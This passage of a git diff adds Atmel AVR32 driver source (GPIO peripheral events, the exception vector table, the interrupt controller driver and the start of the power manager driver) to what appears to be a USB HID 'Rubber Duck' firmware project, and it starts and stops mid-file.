Peripheral Event System support + * + * The GPIO can be programmed to output peripheral events whenever an interrupt + * condition is detected, such as pin value change, or only when a rising or + * falling edge is detected. + * + */ + +/*! \brief Enables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_enable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + AVR32_GPIO.port[pin >> 5].evers = 1 << (pin & 0x1F); +} + +/*! \brief Disables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_disable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].everc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the peripheral event trigger mode of a pin + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * \param use_igf use the Input Glitch Filter (true) or not (false). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf); + +//! @} +#endif + + +#endif // _GPIO_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S new file mode 100755 index 0000000..60b0ecf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S @@ -0,0 +1,237 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Exception and interrupt vectors. + * + * This file maps all events supported by an AVR32. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#if !__AVR32_UC__ && !__AVR32_AP__ + #error Implementation of the AVR32 architecture not supported by the INTC driver. +#endif + + +#include + + +//! @{ +//! \verbatim + + + .section .exception, "ax", @progbits + + +// Start of Exception Vector Table. + + // EVBA must be aligned with a power of two strictly greater than the EVBA- + // relative offset of the last vector. + .balign 0x200 + + // Export symbol. + .global _evba + .type _evba, @function +_evba: + + .org 0x000 + // Unrecoverable Exception. +_handle_Unrecoverable_Exception: + rjmp $ + + .org 0x004 + // TLB Multiple Hit. +_handle_TLB_Multiple_Hit: + rjmp $ + + .org 0x008 + // Bus Error Data Fetch. +_handle_Bus_Error_Data_Fetch: + rjmp $ + + .org 0x00C + // Bus Error Instruction Fetch. +_handle_Bus_Error_Instruction_Fetch: + rjmp $ + + .org 0x010 + // NMI. +_handle_NMI: + rjmp $ + + .org 0x014 + // Instruction Address. +_handle_Instruction_Address: + rjmp $ + + .org 0x018 + // ITLB Protection. +_handle_ITLB_Protection: + rjmp $ + + .org 0x01C + // Breakpoint. +_handle_Breakpoint: + rjmp $ + + .org 0x020 + // Illegal Opcode. +_handle_Illegal_Opcode: + rjmp $ + + .org 0x024 + // Unimplemented Instruction. +_handle_Unimplemented_Instruction: + rjmp $ + + .org 0x028 + // Privilege Violation. +_handle_Privilege_Violation: + rjmp $ + + .org 0x02C + // Floating-Point: UNUSED IN AVR32UC and AVR32AP. +_handle_Floating_Point: + rjmp $ + + .org 0x030 + // Coprocessor Absent: UNUSED IN AVR32UC. +_handle_Coprocessor_Absent: + rjmp $ + + .org 0x034 + // Data Address (Read). +_handle_Data_Address_Read: + rjmp $ + + .org 0x038 + // Data Address (Write). +_handle_Data_Address_Write: + rjmp $ + + .org 0x03C + // DTLB Protection (Read). +_handle_DTLB_Protection_Read: + rjmp $ + + .org 0x040 + // DTLB Protection (Write). +_handle_DTLB_Protection_Write: + rjmp $ + + .org 0x044 + // DTLB Modified: UNUSED IN AVR32UC. +_handle_DTLB_Modified: + rjmp $ + + .org 0x050 + // ITLB Miss. +_handle_ITLB_Miss: + rjmp $ + + .org 0x060 + // DTLB Miss (Read). +_handle_DTLB_Miss_Read: + rjmp $ + + .org 0x070 + // DTLB Miss (Write). +_handle_DTLB_Miss_Write: + rjmp $ + + .org 0x100 + // Supervisor Call. +_handle_Supervisor_Call: + rjmp $ + + +// Interrupt support. +// The interrupt controller must provide the offset address relative to EVBA. +// Important note: +// All interrupts call a C function named _get_interrupt_handler. +// This function will read group and interrupt line number to then return in +// R12 a pointer to a user-provided interrupt handler. + + .balign 4 + + .irp priority, 0, 1, 2, 3 +_int\priority: +#if __AVR32_UC__ + // R8-R12, LR, PC and SR are automatically pushed onto the system stack by the + // CPU upon interrupt entry. No other register is saved by hardware. +#elif __AVR32_AP__ + // PC and SR are automatically saved in respectively RAR_INTx and RSR_INTx by + // the CPU upon interrupt entry. No other register is saved by hardware. + pushm r8-r12, lr +#endif + mov r12, \priority // Pass the int_level parameter to the _get_interrupt_handler function. + call _get_interrupt_handler + cp.w r12, 0 // Get the pointer to the interrupt handler returned by the function. +#if __AVR32_UC__ + movne pc, r12 // If this was not a spurious interrupt (R12 != NULL), jump to the handler. +#elif __AVR32_AP__ + breq spint\priority // If this was a spurious interrupt (R12 == NULL), branch. + st.w --sp, r12 // Push the pointer to the interrupt handler onto the system stack since no register may be altered. + popm r8-r12, lr, pc // Restore registers and jump to the handler. +spint\priority: + popm r8-r12, lr +#endif + rete // If this was a spurious interrupt (R12 == NULL), return from event handler. + .endr + + +// Constant data area. + + .balign 4 + + // Values to store in the interrupt priority registers for the various interrupt priority levels. + // The interrupt priority registers contain the interrupt priority level and + // the EVBA-relative interrupt vector offset. + .global ipr_val + .type ipr_val, @object +ipr_val: + .word (AVR32_INTC_INT0 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int0 - _evba),\ + (AVR32_INTC_INT1 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int1 - _evba),\ + (AVR32_INTC_INT2 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int2 - _evba),\ + (AVR32_INTC_INT3 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int3 - _evba) + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c new file mode 100755 index 0000000..e9fa3b6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c @@ -0,0 +1,214 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief INTC driver for AVR32 UC3. + * + * AVR32 Interrupt Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "compiler.h" +#include "preprocessor.h" +#include "intc.h" + +// define _evba from exception.S +extern void _evba; + +//! Values to store in the interrupt priority registers for the various interrupt priority levels. +extern const unsigned int ipr_val[AVR32_INTC_NUM_INT_LEVELS]; + +__int_handler _get_interrupt_handler(unsigned int int_level); + +//! Creates a table of interrupt line handlers per interrupt group in order to optimize RAM space. +//! Each line handler table contains a set of pointers to interrupt handlers. +#if (defined __GNUC__) +#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#elif (defined __ICCAVR32__) +#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __no_init __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#endif +MREPEAT(AVR32_INTC_NUM_INT_GRPS, DECL_INT_LINE_HANDLER_TABLE, ~); +#undef DECL_INT_LINE_HANDLER_TABLE + +//! Table containing for each interrupt group the number of interrupt request +//! lines and a pointer to the table of interrupt line handlers. +static const struct +{ + unsigned int num_irqs; + volatile __int_handler *_int_line_handler_table; +} _int_handler_table[AVR32_INTC_NUM_INT_GRPS] = +{ +#define INSERT_INT_LINE_HANDLER_TABLE(GRP, unused) \ + {AVR32_INTC_NUM_IRQS_PER_GRP##GRP, _int_line_handler_table_##GRP}, + MREPEAT(AVR32_INTC_NUM_INT_GRPS, INSERT_INT_LINE_HANDLER_TABLE, ~) +#undef INSERT_INT_LINE_HANDLER_TABLE +}; + + +/*! \brief Default interrupt handler. + * + * \note Taken and adapted from Newlib. + */ +#if (defined __GNUC__) +__attribute__((__interrupt__)) +#elif (defined __ICCAVR32__) +__interrupt +#endif +static void _unhandled_interrupt(void) +{ + // Catch unregistered interrupts. + while (TRUE); +} + + +/*! \brief Gets the interrupt handler of the current event at the \a int_level + * interrupt priority level (called from exception.S). + * + * \param int_level Interrupt priority level to handle. + * + * \return Interrupt handler to execute. + * + * \note Taken and adapted from Newlib. + */ +__int_handler _get_interrupt_handler(unsigned int int_level) +{ + // ICR3 is mapped first, ICR0 last. + // Code in exception.S puts int_level in R12 which is used by AVR32-GCC to + // pass a single argument to a function. + unsigned int int_grp = AVR32_INTC.icr[AVR32_INTC_INT3 - int_level]; + unsigned int int_req = AVR32_INTC.irr[int_grp]; + + // As an interrupt may disappear while it is being fetched by the CPU + // (spurious interrupt caused by a delayed response from an MCU peripheral to + // an interrupt flag clear or interrupt disable instruction), check if there + // are remaining interrupt lines to process. + // If a spurious interrupt occurs, the status register (SR) contains an + // execution mode and interrupt level masks corresponding to a level 0 + // interrupt, whatever the interrupt priority level causing the spurious + // event. This behavior has been chosen because a spurious interrupt has not + // to be a priority one and because it may not cause any trouble to other + // interrupts. + // However, these spurious interrupts place the hardware in an unstable state + // and could give problems in other/future versions of the CPU, so the + // software has to be written so that they never occur. The only safe way of + // achieving this is to always clear or disable peripheral interrupts with the + // following sequence: + // 1: Mask the interrupt in the CPU by setting GM (or IxM) in SR. + // 2: Perform the bus access to the peripheral register that clears or + // disables the interrupt. + // 3: Wait until the interrupt has actually been cleared or disabled by the + // peripheral. This is usually performed by reading from a register in the + // same peripheral (it DOES NOT have to be the same register that was + // accessed in step 2, but it MUST be in the same peripheral), what takes + // bus system latencies into account, but peripheral internal latencies + // (generally 0 cycle) also have to be considered. + // 4: Unmask the interrupt in the CPU by clearing GM (or IxM) in SR. + // Note that steps 1 and 4 are useless inside interrupt handlers as the + // corresponding interrupt level is automatically masked by IxM (unless IxM is + // explicitly cleared by the software). + // + // Get the right IRQ handler. + // + // If several interrupt lines are active in the group, the interrupt line with + // the highest number is selected. This is to be coherent with the + // prioritization of interrupt groups performed by the hardware interrupt + // controller. + // + // If no handler has been registered for the pending interrupt, + // _unhandled_interrupt will be selected thanks to the initialization of + // _int_line_handler_table_x by INTC_init_interrupts. + // + // exception.S will provide the interrupt handler with a clean interrupt stack + // frame, with nothing more pushed onto the stack. The interrupt handler must + // manage the `rete' instruction, what can be done thanks to pure assembly, + // inline assembly or the `__attribute__((__interrupt__))' C function + // attribute. + return (int_req) ? _int_handler_table[int_grp]._int_line_handler_table[32 - clz(int_req) - 1] : NULL; +} + +//! Init EVBA address. This sequence might also be done in the utils/startup/startup_uc3.S file. +static __inline__ void INTC_init_evba(void) +{ + Set_system_register(AVR32_EVBA, (int)&_evba ); +} + +void INTC_init_interrupts(void) +{ + unsigned int int_grp, int_req; + + INTC_init_evba(); + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) + { + // Assign _unhandled_interrupt as default interrupt handler. + _int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt; + } + + // Set the interrupt group priority register to its default value. + // By default, all interrupt groups are linked to the interrupt priority + // level 0 and to the interrupt vector _int0. + AVR32_INTC.ipr[int_grp] = ipr_val[AVR32_INTC_INT0]; + } +} + + +void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level) +{ + // Determine the group of the IRQ. + unsigned int int_grp = irq / AVR32_INTC_MAX_NUM_IRQS_PER_GRP; + + // Store in _int_line_handler_table_x the pointer to the interrupt handler, so + // that _get_interrupt_handler can retrieve it when the interrupt is vectored. + _int_handler_table[int_grp]._int_line_handler_table[irq % AVR32_INTC_MAX_NUM_IRQS_PER_GRP] = handler; + + // Program the corresponding IPRX register to set the interrupt priority level + // and the interrupt vector offset that will be fetched by the core interrupt + // system. + // NOTE: The _intx functions are intermediate assembly functions between the + // core interrupt system and the user interrupt handler. + AVR32_INTC.ipr[int_grp] = ipr_val[int_level & (AVR32_INTC_IPR_INTLEVEL_MASK >> AVR32_INTC_IPR_INTLEVEL_OFFSET)]; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h new file mode 100755 index 0000000..cdb6c76 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h @@ -0,0 +1,98 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief INTC driver for AVR32 UC3. + * + * AVR32 Interrupt Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _INTC_H_ +#define _INTC_H_ + +#include "compiler.h" + + +//! Maximal number of interrupt request lines per group. +#define AVR32_INTC_MAX_NUM_IRQS_PER_GRP 32 + +//! Number of interrupt priority levels. +#define AVR32_INTC_NUM_INT_LEVELS (1 << AVR32_INTC_IPR_INTLEVEL_SIZE) + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! Pointer to interrupt handler. +#if (defined __GNUC__) +typedef void (*__int_handler)(void); +#elif (defined __ICCAVR32__) +typedef void (__interrupt *__int_handler)(void); +#endif + + +/*! \brief Initializes the hardware interrupt controller driver. + * + * \note Taken and adapted from Newlib. + */ +extern void INTC_init_interrupts(void); + +/*! \brief Registers an interrupt handler. + * + * \param handler Interrupt handler to register. + * \param irq IRQ of the interrupt handler to register. + * \param int_level Interrupt priority level to assign to the group of this IRQ. + * + * \warning The interrupt handler must manage the `rete' instruction, what can + * be done thanks to pure assembly, inline assembly or the + * `__attribute__((__interrupt__))' C function attribute. + * + * \warning If several interrupt handlers of a same group are registered with + * different priority levels, only the latest priority level set will + * be effective. + * + * \note Taken and adapted from Newlib. + */ +extern void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level); + +#endif // __AVR32_ABI_COMPILER__ + + +#endif // _INTC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c new file mode 100755 index 0000000..7f8e305 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c @@ -0,0 +1,566 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager driver. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "compiler.h" +#include "pm.h" + + +/*! \name PM Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long mcctrl; + avr32_pm_mcctrl_t MCCTRL; +} u_avr32_pm_mcctrl_t; + +typedef union +{ + unsigned long cksel; + avr32_pm_cksel_t CKSEL; +} u_avr32_pm_cksel_t; + +typedef union +{ + unsigned long pll; + avr32_pm_pll_t PLL; +} u_avr32_pm_pll_t; + +typedef union +{ + unsigned long oscctrl0; + avr32_pm_oscctrl0_t OSCCTRL0; +} u_avr32_pm_oscctrl0_t; + +typedef union +{ + unsigned long oscctrl1; + avr32_pm_oscctrl1_t OSCCTRL1; +} u_avr32_pm_oscctrl1_t; + +typedef union +{ + unsigned long oscctrl32; + avr32_pm_oscctrl32_t OSCCTRL32; +} u_avr32_pm_oscctrl32_t; + +typedef union +{ + unsigned long ier; + avr32_pm_ier_t IER; +} u_avr32_pm_ier_t; + +typedef union +{ + unsigned long idr; + avr32_pm_idr_t IDR; +} u_avr32_pm_idr_t; + +typedef union +{ + unsigned long icr; + avr32_pm_icr_t ICR; +} u_avr32_pm_icr_t; + +typedef union +{ + unsigned long gcctrl; + avr32_pm_gcctrl_t GCCTRL; +} u_avr32_pm_gcctrl_t; + +typedef union +{ + unsigned long rccr; + avr32_pm_rccr_t RCCR; +} u_avr32_pm_rccr_t; + +typedef union +{ + unsigned long bgcr; + avr32_pm_bgcr_t BGCR; +} u_avr32_pm_bgcr_t; + +typedef union +{ + unsigned long vregcr; + avr32_pm_vregcr_t VREGCR; +} u_avr32_pm_vregcr_t; + +typedef union +{ + unsigned long bod; + avr32_pm_bod_t BOD; +} u_avr32_pm_bod_t; + +//! @} + + +/*! \brief Sets the mode of the oscillator 0. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 0 mode (i.e. AVR32_PM_OSCCTRL0_MODE_x). + */ +static void pm_set_osc0_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.mode = mode; + // Write + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; +} + + +void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc0_mode(pm, AVR32_PM_OSCCTRL0_MODE_EXT_CLOCK); +} + + +void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0) +{ + pm_set_osc0_mode(pm, (fosc0 < 900000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G0 : + (fosc0 < 3000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G1 : + (fosc0 < 8000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk0_no_wait(pm, startup); + pm_wait_for_clk0_ready(pm); +} + + +void pm_disable_clk0(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.startup = startup; + // Write back + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC0RDY_MASK)); +} + + +/*! \brief Sets the mode of the oscillator 1. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 1 mode (i.e. AVR32_PM_OSCCTRL1_MODE_x). + */ +static void pm_set_osc1_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.mode = mode; + // Write + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; +} + + +void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc1_mode(pm, AVR32_PM_OSCCTRL1_MODE_EXT_CLOCK); +} + + +void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1) +{ + pm_set_osc1_mode(pm, (fosc1 < 900000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G0 : + (fosc1 < 3000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G1 : + (fosc1 < 8000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk1_no_wait(pm, startup); + pm_wait_for_clk1_ready(pm); +} + + +void pm_disable_clk1(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.startup = startup; + // Write back + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC1RDY_MASK)); +} + + +/*! \brief Sets the mode of the 32-kHz oscillator. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode 32-kHz oscillator mode (i.e. AVR32_PM_OSCCTRL32_MODE_x). + */ +static void pm_set_osc32_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.mode = mode; + // Write + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK); +} + + +void pm_enable_osc32_crystal(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_CRYSTAL); +} + + +void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk32_no_wait(pm, startup); + pm_wait_for_clk32_ready(pm); +} + + +void pm_disable_clk32(volatile avr32_pm_t *pm) +{ + pm->oscctrl32 &= ~AVR32_PM_OSCCTRL32_OSC32EN_MASK; +} + + +void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.osc32en = 1; + u_avr32_pm_oscctrl32.OSCCTRL32.startup = startup; + // Write back + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void 